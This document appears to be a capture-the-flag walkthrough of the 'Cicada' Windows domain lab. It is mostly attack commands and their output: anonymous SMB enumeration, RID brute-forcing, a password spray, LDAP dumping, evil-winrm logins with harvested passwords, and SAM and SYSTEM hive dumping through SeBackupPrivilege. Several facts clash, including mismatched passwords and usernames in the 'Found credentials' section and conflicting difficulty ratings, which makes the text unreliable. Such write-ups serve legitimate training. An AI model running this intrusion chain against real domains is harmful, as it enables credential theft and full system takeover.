Cicada is an easy-difficult Windows machine that focuses on beginner Active Directory enumeration and exploitation. In this machine, players will enumerate the domain, identify users, navigate shares, uncover plaintext passwords stored in files, execute a password spray, and use the SeBackupPrivilege to achieve full system compromise.
Machine Info:
IP: 10.129.200.210
Difficulty: Medium
OS: Windows
Category: Active Directory / Windows Privilege Escalation
Enumeration
Open Ports
Open 10.129.200.210:53
Open 10.129.200.210:88
Open 10.129.200.210:135
Open 10.129.200.210:139
Open 10.129.200.210:389
Open 10.129.200.210:445
Open 10.129.200.210:464
Open 10.129.200.210:636
Open 10.129.200.210:3268
Open 10.129.200.210:3269
Open 10.129.200.210:5985
Nmap Scan
PORT STATE SERVICE REASON VERSION
53/tcp open domain syn-ack Simple DNS Plus
88/tcp open kerberos-sec syn-ack Microsoft Windows Kerberos (server time: 2024-09-29 14:09:11Z)
135/tcp open msrpc syn-ack Microsoft Windows RPC
139/tcp open netbios-ssn syn-ack Microsoft Windows netbios-ssn
389/tcp open ldap syn-ack Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=CICADA-DC.cicada.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:CICADA-DC.cicada.htb
| Issuer: commonName=CICADA-DC-CA/domainComponent=cicada
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-08-22T20:24:16
| Not valid after: 2025-08-22T20:24:16
| MD5: 9ec5:1a23:40ef:b5b8:3d2c:39d8:447d:db65
| SHA-1: 2c93:6d7b:cfd8:11b9:9f71:1a5a:155d:88d3:4a52:157a
| -----BEGIN CERTIFICATE-----
| MIIF4DCCBMigAwIBAgITHgAAAAOY38QFU4GSRAABAAAAAzANBgkqhkiG9w0BAQsF
| ADBEMRMwEQYKCZImiZPyLGQBGRYDaHRiMRYwFAYKCZImiZPyLGQBGRYGY2ljYWRh
| MRUwEwYDVQQDEwxDSUNBREEtREMtQ0EwHhcNMjQwODIyMjAyNDE2WhcNMjUwODIy
| MjAyNDE2WjAfMR0wGwYDVQQDExRDSUNBREEtREMuY2ljYWRhLmh0YjCCASIwDQYJ
| KoZIhvcNAQEBBQADggEPADCCAQoCggEBAOatZznJ1Zy5E8fVFsDWtq531KAmTyX8
| BxPdIVefG1jKHLYTvSsQLVDuv02+p29iH9vnqYvIzSiFWilKCFBxtfOpyvCaEQua
| NaJqv3quymk/pw0xMfSLMuN5emPJ5yHtC7cantY51mSDrvXBxMVIf23JUKgbhqSc
| Srdh8fhL8XKgZXVjHmQZVn4ONg2vJP2tu7P1KkXXj7Mdry9GFEIpLdDa749PLy7x
| o1yw8CloMMtcFKwVaJHy7tMgwU5PVbFBeUhhKhQ8jBR3OBaMBtqIzIAJ092LNysy
| 4W6q8iWFc+Tb43gFP4nfb1Xvp5mJ2pStqCeZlneiL7Be0SqdDhljB4ECAwEAAaOC
| Au4wggLqMC8GCSsGAQQBgjcUAgQiHiAARABvAG0AYQBpAG4AQwBvAG4AdAByAG8A
| bABsAGUAcjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwDgYDVR0PAQH/
| BAQDAgWgMHgGCSqGSIb3DQEJDwRrMGkwDgYIKoZIhvcNAwICAgCAMA4GCCqGSIb3
| DQMEAgIAgDALBglghkgBZQMEASowCwYJYIZIAWUDBAEtMAsGCWCGSAFlAwQBAjAL
| BglghkgBZQMEAQUwBwYFKw4DAgcwCgYIKoZIhvcNAwcwHQYDVR0OBBYEFAY5YMN7
| Sb0WV8GpzydFLPC+751AMB8GA1UdIwQYMBaAFIgPuAt1+B1uRE3nh16Q6gSBkTzp
| MIHLBgNVHR8EgcMwgcAwgb2ggbqggbeGgbRsZGFwOi8vL0NOPUNJQ0FEQS1EQy1D
| QSxDTj1DSUNBREEtREMsQ049Q0RQLENOPVB1YmxpYyUyMEtleSUyMFNlcnZpY2Vz
| LENOPVNlcnZpY2VzLENOPUNvbmZpZ3VyYXRpb24sREM9Y2ljYWRhLERDPWh0Yj9j
| ZXJ0aWZpY2F0ZVJldm9jYXRpb25MaXN0P2Jhc2U/b2JqZWN0Q2xhc3M9Y1JMRGlz
| dHJpYnV0aW9uUG9pbnQwgb0GCCsGAQUFBwEBBIGwMIGtMIGqBggrBgEFBQcwAoaB
| nWxkYXA6Ly8vQ049Q0lDQURBLURDLUNBLENOPUFJQSxDTj1QdWJsaWMlMjBLZXkl
| MjBTZXJ2aWNlcyxDTj1TZXJ2aWNlcyxDTj1Db25maWd1cmF0aW9uLERDPWNpY2Fk
| YSxEQz1odGI/Y0FDZXJ0aWZpY2F0ZT9iYXNlP29iamVjdENsYXNzPWNlcnRpZmlj
| YXRpb25BdXRob3JpdHkwQAYDVR0RBDkwN6AfBgkrBgEEAYI3GQGgEgQQ0dpG4APi
| HkGYUf0NXWYT14IUQ0lDQURBLURDLmNpY2FkYS5odGIwDQYJKoZIhvcNAQELBQAD
| ggEBAIrY4wzebzUMnbrfpkvGA715ds8pNq06CN4/24q0YmowD+XSR/OI0En8Z9LE
| eytwBsFZJk5qv9yY+WL4Ubb4chKSsNjuc5SzaHxXAVczpNlH/a4WAKfVMU2D6nOb
| xxqE1cVIcOyN4b3WUhRNltauw81EUTa4xT0WElw8FevodHlBXiUPUT9zrBhnvNkz
| obX8oU3zyMO89QwxsusZ0TLiT/EREW6N44J+ROTUzdJwcFNRl+oLsiK5z/ltLRmT
| P/gFJvqMFfK4x4/ftmQV5M3hb0rzUcS4NJCGtclEoxlJHRTDTG6yZleuHvKSN4JF
| ji6zxYOoOznp6JlmbakLb1ZRLA8=
|_-----END CERTIFICATE-----
|_ssl-date: TLS randomness does not represent time
445/tcp open microsoft-ds? syn-ack
464/tcp open kpasswd5? syn-ack
636/tcp open ssl/ldap syn-ack Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=CICADA-DC.cicada.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:CICADA-DC.cicada.htb
| Issuer: commonName=CICADA-DC-CA/domainComponent=cicada
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-08-22T20:24:16
| Not valid after: 2025-08-22T20:24:16
| MD5: 9ec5:1a23:40ef:b5b8:3d2c:39d8:447d:db65
| SHA-1: 2c93:6d7b:cfd8:11b9:9f71:1a5a:155d:88d3:4a52:157a
| -----BEGIN CERTIFICATE-----
| MIIF4DCCBMigAwIBAgITHgAAAAOY38QFU4GSRAABAAAAAzANBgkqhkiG9w0BAQsF
| ADBEMRMwEQYKCZImiZPyLGQBGRYDaHRiMRYwFAYKCZImiZPyLGQBGRYGY2ljYWRh
| MRUwEwYDVQQDEwxDSUNBREEtREMtQ0EwHhcNMjQwODIyMjAyNDE2WhcNMjUwODIy
| MjAyNDE2WjAfMR0wGwYDVQQDExRDSUNBREEtREMuY2ljYWRhLmh0YjCCASIwDQYJ
| KoZIhvcNAQEBBQADggEPADCCAQoCggEBAOatZznJ1Zy5E8fVFsDWtq531KAmTyX8
| BxPdIVefG1jKHLYTvSsQLVDuv02+p29iH9vnqYvIzSiFWilKCFBxtfOpyvCaEQua
| NaJqv3quymk/pw0xMfSLMuN5emPJ5yHtC7cantY51mSDrvXBxMVIf23JUKgbhqSc
| Srdh8fhL8XKgZXVjHmQZVn4ONg2vJP2tu7P1KkXXj7Mdry9GFEIpLdDa749PLy7x
| o1yw8CloMMtcFKwVaJHy7tMgwU5PVbFBeUhhKhQ8jBR3OBaMBtqIzIAJ092LNysy
| 4W6q8iWFc+Tb43gFP4nfb1Xvp5mJ2pStqCeZlneiL7Be0SqdDhljB4ECAwEAAaOC
| Au4wggLqMC8GCSsGAQQBgjcUAgQiHiAARABvAG0AYQBpAG4AQwBvAG4AdAByAG8A
| bABsAGUAcjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwDgYDVR0PAQH/
| BAQDAgWgMHgGCSqGSIb3DQEJDwRrMGkwDgYIKoZIhvcNAwICAgCAMA4GCCqGSIb3
| DQMEAgIAgDALBglghkgBZQMEASowCwYJYIZIAWUDBAEtMAsGCWCGSAFlAwQBAjAL
| BglghkgBZQMEAQUwBwYFKw4DAgcwCgYIKoZIhvcNAwcwHQYDVR0OBBYEFAY5YMN7
| Sb0WV8GpzydFLPC+751AMB8GA1UdIwQYMBaAFIgPuAt1+B1uRE3nh16Q6gSBkTzp
| MIHLBgNVHR8EgcMwgcAwgb2ggbqggbeGgbRsZGFwOi8vL0NOPUNJQ0FEQS1EQy1D
| QSxDTj1DSUNBREEtREMsQ049Q0RQLENOPVB1YmxpYyUyMEtleSUyMFNlcnZpY2Vz
| LENOPVNlcnZpY2VzLENOPUNvbmZpZ3VyYXRpb24sREM9Y2ljYWRhLERDPWh0Yj9j
| ZXJ0aWZpY2F0ZVJldm9jYXRpb25MaXN0P2Jhc2U/b2JqZWN0Q2xhc3M9Y1JMRGlz
| dHJpYnV0aW9uUG9pbnQwgb0GCCsGAQUFBwEBBIGwMIGtMIGqBggrBgEFBQcwAoaB
| nWxkYXA6Ly8vQ049Q0lDQURBLURDLUNBLENOPUFJQSxDTj1QdWJsaWMlMjBLZXkl
| MjBTZXJ2aWNlcyxDTj1TZXJ2aWNlcyxDTj1Db25maWd1cmF0aW9uLERDPWNpY2Fk
| YSxEQz1odGI/Y0FDZXJ0aWZpY2F0ZT9iYXNlP29iamVjdENsYXNzPWNlcnRpZmlj
| YXRpb25BdXRob3JpdHkwQAYDVR0RBDkwN6AfBgkrBgEEAYI3GQGgEgQQ0dpG4APi
| HkGYUf0NXWYT14IUQ0lDQURBLURDLmNpY2FkYS5odGIwDQYJKoZIhvcNAQELBQAD
| ggEBAIrY4wzebzUMnbrfpkvGA715ds8pNq06CN4/24q0YmowD+XSR/OI0En8Z9LE
| eytwBsFZJk5qv9yY+WL4Ubb4chKSsNjuc5SzaHxXAVczpNlH/a4WAKfVMU2D6nOb
| xxqE1cVIcOyN4b3WUhRNltauw81EUTa4xT0WElw8FevodHlBXiUPUT9zrBhnvNkz
| obX8oU3zyMO89QwxsusZ0TLiT/EREW6N44J+ROTUzdJwcFNRl+oLsiK5z/ltLRmT
| P/gFJvqMFfK4x4/ftmQV5M3hb0rzUcS4NJCGtclEoxlJHRTDTG6yZleuHvKSN4JF
| ji6zxYOoOznp6JlmbakLb1ZRLA8=
|_-----END CERTIFICATE-----
3268/tcp open ldap syn-ack Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=CICADA-DC.cicada.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:CICADA-DC.cicada.htb
| Issuer: commonName=CICADA-DC-CA/domainComponent=cicada
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-08-22T20:24:16
| Not valid after: 2025-08-22T20:24:16
| MD5: 9ec5:1a23:40ef:b5b8:3d2c:39d8:447d:db65
| SHA-1: 2c93:6d7b:cfd8:11b9:9f71:1a5a:155d:88d3:4a52:157a
| -----BEGIN CERTIFICATE-----
| MIIF4DCCBMigAwIBAgITHgAAAAOY38QFU4GSRAABAAAAAzANBgkqhkiG9w0BAQsF
| ADBEMRMwEQYKCZImiZPyLGQBGRYDaHRiMRYwFAYKCZImiZPyLGQBGRYGY2ljYWRh
| MRUwEwYDVQQDEwxDSUNBREEtREMtQ0EwHhcNMjQwODIyMjAyNDE2WhcNMjUwODIy
| MjAyNDE2WjAfMR0wGwYDVQQDExRDSUNBREEtREMuY2ljYWRhLmh0YjCCASIwDQYJ
| KoZIhvcNAQEBBQADggEPADCCAQoCggEBAOatZznJ1Zy5E8fVFsDWtq531KAmTyX8
| BxPdIVefG1jKHLYTvSsQLVDuv02+p29iH9vnqYvIzSiFWilKCFBxtfOpyvCaEQua
| NaJqv3quymk/pw0xMfSLMuN5emPJ5yHtC7cantY51mSDrvXBxMVIf23JUKgbhqSc
| Srdh8fhL8XKgZXVjHmQZVn4ONg2vJP2tu7P1KkXXj7Mdry9GFEIpLdDa749PLy7x
| o1yw8CloMMtcFKwVaJHy7tMgwU5PVbFBeUhhKhQ8jBR3OBaMBtqIzIAJ092LNysy
| 4W6q8iWFc+Tb43gFP4nfb1Xvp5mJ2pStqCeZlneiL7Be0SqdDhljB4ECAwEAAaOC
| Au4wggLqMC8GCSsGAQQBgjcUAgQiHiAARABvAG0AYQBpAG4AQwBvAG4AdAByAG8A
| bABsAGUAcjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwDgYDVR0PAQH/
| BAQDAgWgMHgGCSqGSIb3DQEJDwRrMGkwDgYIKoZIhvcNAwICAgCAMA4GCCqGSIb3
| DQMEAgIAgDALBglghkgBZQMEASowCwYJYIZIAWUDBAEtMAsGCWCGSAFlAwQBAjAL
| BglghkgBZQMEAQUwBwYFKw4DAgcwCgYIKoZIhvcNAwcwHQYDVR0OBBYEFAY5YMN7
| Sb0WV8GpzydFLPC+751AMB8GA1UdIwQYMBaAFIgPuAt1+B1uRE3nh16Q6gSBkTzp
| MIHLBgNVHR8EgcMwgcAwgb2ggbqggbeGgbRsZGFwOi8vL0NOPUNJQ0FEQS1EQy1D
| QSxDTj1DSUNBREEtREMsQ049Q0RQLENOPVB1YmxpYyUyMEtleSUyMFNlcnZpY2Vz
| LENOPVNlcnZpY2VzLENOPUNvbmZpZ3VyYXRpb24sREM9Y2ljYWRhLERDPWh0Yj9j
| ZXJ0aWZpY2F0ZVJldm9jYXRpb25MaXN0P2Jhc2U/b2JqZWN0Q2xhc3M9Y1JMRGlz
| dHJpYnV0aW9uUG9pbnQwgb0GCCsGAQUFBwEBBIGwMIGtMIGqBggrBgEFBQcwAoaB
| nWxkYXA6Ly8vQ049Q0lDQURBLURDLUNBLENOPUFJQSxDTj1QdWJsaWMlMjBLZXkl
| MjBTZXJ2aWNlcyxDTj1TZXJ2aWNlcyxDTj1Db25maWd1cmF0aW9uLERDPWNpY2Fk
| YSxEQz1odGI/Y0FDZXJ0aWZpY2F0ZT9iYXNlP29iamVjdENsYXNzPWNlcnRpZmlj
| YXRpb25BdXRob3JpdHkwQAYDVR0RBDkwN6AfBgkrBgEEAYI3GQGgEgQQ0dpG4APi
| HkGYUf0NXWYT14IUQ0lDQURBLURDLmNpY2FkYS5odGIwDQYJKoZIhvcNAQELBQAD
| ggEBAIrY4wzebzUMnbrfpkvGA715ds8pNq06CN4/24q0YmowD+XSR/OI0En8Z9LE
| eytwBsFZJk5qv9yY+WL4Ubb4chKSsNjuc5SzaHxXAVczpNlH/a4WAKfVMU2D6nOb
| xxqE1cVIcOyN4b3WUhRNltauw81EUTa4xT0WElw8FevodHlBXiUPUT9zrBhnvNkz
| obX8oU3zyMO89QwxsusZ0TLiT/EREW6N44J+ROTUzdJwcFNRl+oLsiK5z/ltLRmT
| P/gFJvqMFfK4x4/ftmQV5M3hb0rzUcS4NJCGtclEoxlJHRTDTG6yZleuHvKSN4JF
| ji6zxYOoOznp6JlmbakLb1ZRLA8=
|_-----END CERTIFICATE-----
3269/tcp open ssl/ldap syn-ack Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=CICADA-DC.cicada.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:CICADA-DC.cicada.htb
| Issuer: commonName=CICADA-DC-CA/domainComponent=cicada
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-08-22T20:24:16
| Not valid after: 2025-08-22T20:24:16
| MD5: 9ec5:1a23:40ef:b5b8:3d2c:39d8:447d:db65
| SHA-1: 2c93:6d7b:cfd8:11b9:9f71:1a5a:155d:88d3:4a52:157a
| -----BEGIN CERTIFICATE-----
| MIIF4DCCBMigAwIBAgITHgAAAAOY38QFU4GSRAABAAAAAzANBgkqhkiG9w0BAQsF
| ADBEMRMwEQYKCZImiZPyLGQBGRYDaHRiMRYwFAYKCZImiZPyLGQBGRYGY2ljYWRh
| MRUwEwYDVQQDEwxDSUNBREEtREMtQ0EwHhcNMjQwODIyMjAyNDE2WhcNMjUwODIy
| MjAyNDE2WjAfMR0wGwYDVQQDExRDSUNBREEtREMuY2ljYWRhLmh0YjCCASIwDQYJ
| KoZIhvcNAQEBBQADggEPADCCAQoCggEBAOatZznJ1Zy5E8fVFsDWtq531KAmTyX8
| BxPdIVefG1jKHLYTvSsQLVDuv02+p29iH9vnqYvIzSiFWilKCFBxtfOpyvCaEQua
| NaJqv3quymk/pw0xMfSLMuN5emPJ5yHtC7cantY51mSDrvXBxMVIf23JUKgbhqSc
| Srdh8fhL8XKgZXVjHmQZVn4ONg2vJP2tu7P1KkXXj7Mdry9GFEIpLdDa749PLy7x
| o1yw8CloMMtcFKwVaJHy7tMgwU5PVbFBeUhhKhQ8jBR3OBaMBtqIzIAJ092LNysy
| 4W6q8iWFc+Tb43gFP4nfb1Xvp5mJ2pStqCeZlneiL7Be0SqdDhljB4ECAwEAAaOC
| Au4wggLqMC8GCSsGAQQBgjcUAgQiHiAARABvAG0AYQBpAG4AQwBvAG4AdAByAG8A
| bABsAGUAcjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwDgYDVR0PAQH/
| BAQDAgWgMHgGCSqGSIb3DQEJDwRrMGkwDgYIKoZIhvcNAwICAgCAMA4GCCqGSIb3
| DQMEAgIAgDALBglghkgBZQMEASowCwYJYIZIAWUDBAEtMAsGCWCGSAFlAwQBAjAL
| BglghkgBZQMEAQUwBwYFKw4DAgcwCgYIKoZIhvcNAwcwHQYDVR0OBBYEFAY5YMN7
| Sb0WV8GpzydFLPC+751AMB8GA1UdIwQYMBaAFIgPuAt1+B1uRE3nh16Q6gSBkTzp
| MIHLBgNVHR8EgcMwgcAwgb2ggbqggbeGgbRsZGFwOi8vL0NOPUNJQ0FEQS1EQy1D
| QSxDTj1DSUNBREEtREMsQ049Q0RQLENOPVB1YmxpYyUyMEtleSUyMFNlcnZpY2Vz
| LENOPVNlcnZpY2VzLENOPUNvbmZpZ3VyYXRpb24sREM9Y2ljYWRhLERDPWh0Yj9j
| ZXJ0aWZpY2F0ZVJldm9jYXRpb25MaXN0P2Jhc2U/b2JqZWN0Q2xhc3M9Y1JMRGlz
| dHJpYnV0aW9uUG9pbnQwgb0GCCsGAQUFBwEBBIGwMIGtMIGqBggrBgEFBQcwAoaB
| nWxkYXA6Ly8vQ049Q0lDQURBLURDLUNBLENOPUFJQSxDTj1QdWJsaWMlMjBLZXkl
| MjBTZXJ2aWNlcyxDTj1TZXJ2aWNlcyxDTj1Db25maWd1cmF0aW9uLERDPWNpY2Fk
| YSxEQz1odGI/Y0FDZXJ0aWZpY2F0ZT9iYXNlP29iamVjdENsYXNzPWNlcnRpZmlj
| YXRpb25BdXRob3JpdHkwQAYDVR0RBDkwN6AfBgkrBgEEAYI3GQGgEgQQ0dpG4APi
| HkGYUf0NXWYT14IUQ0lDQURBLURDLmNpY2FkYS5odGIwDQYJKoZIhvcNAQELBQAD
| ggEBAIrY4wzebzUMnbrfpkvGA715ds8pNq06CN4/24q0YmowD+XSR/OI0En8Z9LE
| eytwBsFZJk5qv9yY+WL4Ubb4chKSsNjuc5SzaHxXAVczpNlH/a4WAKfVMU2D6nOb
| xxqE1cVIcOyN4b3WUhRNltauw81EUTa4xT0WElw8FevodHlBXiUPUT9zrBhnvNkz
| obX8oU3zyMO89QwxsusZ0TLiT/EREW6N44J+ROTUzdJwcFNRl+oLsiK5z/ltLRmT
| P/gFJvqMFfK4x4/ftmQV5M3hb0rzUcS4NJCGtclEoxlJHRTDTG6yZleuHvKSN4JF
| ji6zxYOoOznp6JlmbakLb1ZRLA8=
|_-----END CERTIFICATE-----
|_ssl-date: TLS randomness does not represent time
5985/tcp open http syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
Service Info: Host: CICADA-DC; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2024-09-29T14:09:57
|_ start_date: N/A
|_clock-skew: 6h59m59s
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
| p2p-conficker:
| Checking for Conficker.C or higher...
| Check 1 (port 8553/tcp): CLEAN (Timeout)
| Check 2 (port 47321/tcp): CLEAN (Timeout)
| Check 3 (port 13872/udp): CLEAN (Timeout)
| Check 4 (port 50193/udp): CLEAN (Timeout)
|_ 0/4 checks are positive: Host is CLEAN or ports are blocked
Key Observations:
Typical AD-related services (Kerberos - 88, LDAP - 389/636, SMB - 445, DNS - 53)
HTTP on port 5985 → WinRM
LDAP over SSL (636/3269)
Hostname discovered: CICADA-DC.cicada.htb
SMB Enumeration
List shares anonymously
smbclient -L //10.129.200.210/
Password for [WORKGROUP\\xxxxx]:
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
DEV Disk
HR Disk
IPC$ IPC Remote IPC
NETLOGON Disk Logon server share
SYSVOL Disk Logon server share
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.129.200.210 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available
We found some interesting shares:
Downloading HR files
smbclient \\\\\\\\10.129.200.210\\\\HR -N
Try "help" to get a list of possible commands.
smb: \\> ls
. D 0 Thu Mar 14 17:59:09 2024
.. D 0 Thu Mar 14 17:51:29 2024
Notice from HR.txt A 1266 Wed Aug 28 23:01:48 2024
4168447 blocks of size 4096. 328898 blocks available
smb: \\> get "Notice from HR.txt"
getting file \\Notice from HR.txt of size 1266 as Notice from HR.txt (1.7 KiloBytes/sec) (average 1.7 KiloBytes/sec)
smb: \\> exit
Notice from HR.txt contains a default password:
Dear new hire!
Welcome to Cicada Corp! We're thrilled to have you join our team. As part of our security protocols, it's essential that you change your default password to something unique and secure.
Your default password is: Cicada$M6Corpb*@Lp
To change your password:
1. Log in to your Cicada Corp account** using the provided username and the default password mentioned above.
2. Once logged in, navigate to your account settings or profile settings section.
3. Look for the option to change your password. This will be labeled as "Change Password".
4. Follow the prompts to create a new password**. Make sure your new password is strong, containing a mix of uppercase letters, lowercase letters, numbers, and special characters.
5. After changing your password, make sure to save your changes.
Remember, your password is a crucial aspect of keeping your account secure. Please do not share your password with anyone, and ensure you use a complex password.
If you encounter any issues or need assistance with changing your password, don't hesitate to reach out to our support team at support@cicada.htb.
Thank you for your attention to this matter, and once again, welcome to the Cicada Corp team!
Best regards,
Cicada Corp
Password: Cicada$M6Corpb*@Lp#nZp!8
Enumerating Users
We used RID brute-forcing to identify valid users:
crackmapexec smb 10.129.200.210 -u 'guest' -p '' --rid-brute | grep SidTypeUser
SMB 10.129.200.210 445 CICADA-DC 500: CICADA\\Administrator (SidTypeUser)
SMB 10.129.200.210 445 CICADA-DC 501: CICADA\\Guest (SidTypeUser)
SMB 10.129.200.210 445 CICADA-DC 502: CICADA\\krbtgt (SidTypeUser)
SMB 10.129.200.210 445 CICADA-DC 1000: CICADA\\CICADA-DC$ (SidTypeUser)
SMB 10.129.200.210 445 CICADA-DC 1104: CICADA\\john.smoulder (SidTypeUser)
SMB 10.129.200.210 445 CICADA-DC 1105: CICADA\\sarah.dantelia (SidTypeUser)
SMB 10.129.200.210 445 CICADA-DC 1106: CICADA\\michael.wrightson (SidTypeUser)
SMB 10.129.200.210 445 CICADA-DC 1108: CICADA\\david.orelious (SidTypeUser)
SMB 10.129.200.210 445 CICADA-DC 1601: CICADA\\emily.oscars (SidTypeUser)
Discovered Users
Administrator
Guest
krbtgt
CICADA-DC$
john.smoulder
sarah.dantelia
michael.wrightson
david.orelious
emily.oscars
Credential Stuffing
Now that we have a potential default password, we test it against all discovered users.
netexec smb 10.129.200.210 -u users.txt -p pass.txt
[*] First time use detected
[*] Creating home directory structure
[*] Creating missing folder logs
[*] Creating missing folder modules
[*] Creating missing folder protocols
[*] Creating missing folder workspaces
[*] Creating missing folder obfuscated_scripts
[*] Creating missing folder screenshots
[*] Creating default workspace
[*] Initializing LDAP protocol database
[*] Initializing WINRM protocol database
[*] Initializing RDP protocol database
[*] Initializing VNC protocol database
[*] Initializing SMB protocol database
[*] Initializing SSH protocol database
[*] Initializing MSSQL protocol database
[*] Initializing FTP protocol database
[*] Initializing WMI protocol database
[*] Copying default configuration file
SMB 10.129.200.210 445 CICADA-DC [*] Windows Server 2022 Build 20348 x64 (name:CICADA-DC) (domain:cicada.htb) (signing:True) (SMBv1:False)
SMB 10.129.200.210 445 CICADA-DC [-] cicada.htb\\Administrator:Cicada$M6Corpb*@Lp
SMB 10.129.200.210 445 CICADA-DC [-] cicada.htb\\Guest:Cicada$M6Corpb*@Lp
SMB 10.129.200.210 445 CICADA-DC [-] cicada.htb\\krbtgt:Cicada$M6Corpb*@Lp
SMB 10.129.200.210 445 CICADA-DC [-] cicada.htb\\CICADA-DC$:Cicada$M6Corpb*@Lp
SMB 10.129.200.210 445 CICADA-DC [-] cicada.htb\\john.smoulder:Cicada$M6Corpb*@Lp
SMB 10.129.200.210 445 CICADA-DC [-] cicada.htb\\sarah.dantelia:Cicada$M6Corpb*@Lp
SMB 10.129.200.210 445 CICADA-DC [+] cicada.htb\\michael.wrightson:Cicada$M6Corpb*@Lp
Found credentials:
SMB 10.129.200.210 445 CICADA-DC [+] cicada.htb\\michael.wrightson:Cicada$M6Corpb*@Lp
Username: emily.oscars
Password: Cicada$M6Corpb*@Lp#nZp!8
LDAP Enumeration
Now that we have valid credentials, we can query LDAP for more internal information:
ldapdomaindump ldap://10.129.200.210 -u 'cicada.htb\\michael.wrightson' -p 'Cicada$M6Corpb*@Lp#nZp!8'
[*] Connecting to host...
[*] Binding to host
[+] Bind OK
[*] Starting domain dump
[+] Domain dump finished
David Orelious David Orelious david.orelious Domain Users 03/14/24 12:17:29 08/28/24 17:25:57 03/15/24 06:32:21 NORMAL_ACCOUNT, DONT_EXPIRE_PASSWD 03/14/24 12:17:29 S-1-5-21-917908876-1423158569-3159038727-1108 Just in case I forget my password is aRt$Lp
Got another credentials
david.orelious:aRt$Lp
SMB Share Access (david.orelious)
Using smbclient, we explored shares available to David:
smbclient //10.129.200.210/DEV -U david.orelious
Password for [WORKGROUP\\david.orelious]:
Try "help" to get a list of possible commands.
smb: \\> ls
. D 0 Thu Mar 14 18:01:39 2024
.. D 0 Thu Mar 14 17:51:29 2024
Backup_script.ps1 A 601 Wed Aug 28 22:58:22 2024
4168447 blocks of size 4096. 328478 blocks available
smb: \\> get Backup_script.ps1
getting file \\Backup_script.ps1 of size 601 as Backup_script.ps1 (0.7 KiloBytes/sec) (average 0.7 KiloBytes/sec)
smb: \\> exit
cat Backup_script.ps1
$sourceDirectory = "C:\\smb"
$destinationDirectory = "D:\\Backup"
$username = "emily.oscars"
$password = ConvertTo-SecureString "Q!3@Lp#M6b*7t*Vt" -AsPlainText -Force
$credentials = New-Object System.Management.Automation.PSCredential($username, $password)
$dateStamp = Get-Date -Format "yyyyMMdd_HHmmss"
$backupFileName = "smb_backup_$dateStamp.zip"
$backupFilePath = Join-Path -Path $destinationDirectory -ChildPath $backupFileName
Compress-Archive -Path $sourceDirectory -DestinationPath $backupFilePath
Write-Host "Backup completed successfully. Backup file saved to: $backupFilePath"
Username: emily.oscars
Password: Q!3@Lp#M6b7tVt
Login as Emiily
evil-winrm -i 10.129.200.210 -u emily.oscars -p 'Q!3@Lp#M6b*7t*Vt'
Evil-WinRM shell v3.5
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM GitHub: <https://github.com/Hackplayers/evil-winrm
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\\Users\\emily.oscars.CICADA> whoami
cicada\\emily.oscars
Privilege Escalation – Abuse of SeBackupPrivilege
Once we had a foothold as emily.oscars, we enumerated the privileges assigned to the user:
*Evil-WinRM* PS C:\\Users\\emily.oscars.CICADA\\Desktop> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ============================== =======
SeBackupPrivilege Back up files and directories Enabled
SeRestorePrivilege Restore files and directories Enabled
SeShutdownPrivilege Shut down the system Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
This specific privilege escalation is based on the act of assigning a user SeBackupPrivilege. It was designed for allowing users to create backup copies of the system. Since it is not possible to make a backup of something that you cannot read. This privilege comes at the cost of providing the user with full read access to the file system. This privilege must bypass any ACL that the Administrator has placed in the network. So, in a nutshell, this privilege allows the user to read any file on the entirety of the files that might also include some sensitive files such as the SAM file or SYSTEM Registry file. From the attacker’s perspective, this can be exploited after gaining the initial foothold in the system and then moving up to an elevated shell by essentially reading the SAM files and possibly crack the passwords of the high privilege users on the system or network.
Reference: https://www.hackingarticles.in/windows-privilege-escalation-sebackupprivilege/
Dumping Registry Hives
From the evil-winrm shell, we created a temporary directory and dumped the hives:
cd c:\\
mkdir Temp
reg save hklm\\sam c:\\Temp\\sam
reg save hklm\\system c:\\Temp\\system
We then downloaded these files locally:
pypykatz registry --sam sam.hive system.hive
WARNING:pypykatz:SECURITY hive path not supplied! Parsing SECURITY will not work
WARNING:pypykatz:SOFTWARE hive path not supplied! Parsing SOFTWARE will not work
============== SYSTEM hive secrets ==============
